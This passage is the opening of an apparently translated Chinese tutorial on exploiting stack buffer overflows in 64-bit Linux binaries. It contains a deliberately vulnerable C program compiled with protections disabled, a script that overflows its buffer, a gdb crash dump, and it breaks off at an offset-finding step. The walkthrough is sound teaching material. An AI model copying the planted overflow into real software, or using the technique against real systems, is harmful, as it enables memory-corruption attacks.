0x01
这一系列的文章目的在于快速介绍对缓冲区溢出(在64位下linux二进制程序)弱点的利用。
该系列教程适合人群为:熟悉利用32位二进制程序并想应用它们的知识来利用64位二进制程序。
该教程是长期的零散笔记,整理总结成的结果。
搭建环境
在64位与32位linux平台下编写其二进制的利用程序区别不大,然而我们将遇到一些陷阱,学习这种技术最好的方法是实践它,因此我鼓励你跟着教程一起实践。
我将在Unbuntu14.10下编译有弱点的二进制且编写利用程序,我也将提供预编译的二进制程序。这篇教程将使用如下工具:
64位,你需了解些什么
为了学习这篇教程,你应该知道如下几点:
被扩展到64位的通用寄存器为:RAX,RBX,RCX,RDX,RSI和RDI
被扩展为64位的指令指针,基地址指针,栈指针分别为RIP,RBP和RSP
提供的额外寄存器:R8到R15
8字节宽的指针
在栈上push/pop为8字节宽
地址最大的标准大小为0x00007FFFFFFFFFFF
通过寄存器传递函数的参数
知道更多信息当然很棒,所以尽情google搜寻关于64位架构和汇编编程的信息吧,Wikipedia有一篇简短的文章值得一读.
典型的崩栈例子
让我们开始于一个典型的崩栈例子,我们将关闭ASLR,NX,和stack canaries保护机制,因此我们可以专注真实的利用。
有弱点的二进制程序源码如下:
/* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */
/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */
#include
#include
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
你也可以在这里获取预编译好的二进制程序
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP,对吗?构造一段exploit内容如下:
#!/usr/bin/env python
buf = ""
buf += "A"*400
f = open("in.txt", "w")
f.write(buf)
这个脚本将创建一个命名为”in.txt”的文件(含有400个“A”字符),我们将典例加载进gdb并将in.txt的内容重定向到典例中,同时我们看看是否可以覆盖RIP:
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b015a0 (<__write_nocancel>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' "\220, \001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe508 ('A' ...)
RIP: 0x40060f (: ret)
R8 : 0x283a20756f792072 ('r you :(')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x7fffffffe260 --> 0x0
R11: 0x246
R12: 0x4004d0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe600 ('A' , "|\350\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400604 : call 0x400480
0x400609 : mov eax,0x0
0x40060e : leave
=> 0x40060f : ret
0x400610 : push rbp
0x400611 : mov rbp,rsp
0x400614 : sub rsp,0x10
0x400618 : mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 ('A' ...)
0008| 0x7fffffffe510 ('A' ...)
0016| 0x7fffffffe518 ('A' ...)
0024| 0x7fffffffe520 ('A' ...)
0032| 0x7fffffffe528 ('A' ...)
0040| 0x7fffffffe530 ('A' ...)
0048| 0x7fffffffe538 ('A' ...)
0056| 0x7fffffffe540 ('A' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040060f in vuln ()
因此程序正如意料中的那样崩掉了,但是毫无意义。因为我们已覆盖的RIP带有一个无效地址,事实上我们没控制到RIP。因为我更早意识到最大地址是0x00007FFFFFFFFFFF。我们可以用一个非标准地址(0x0000414141414141)覆盖RIP(将造成处理器发生异常).为了控制RIP,我们需要用0x0000414141414141覆盖(代替)它,因此真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:
gdb-peda$ pattern_create 400 in.txt
Writing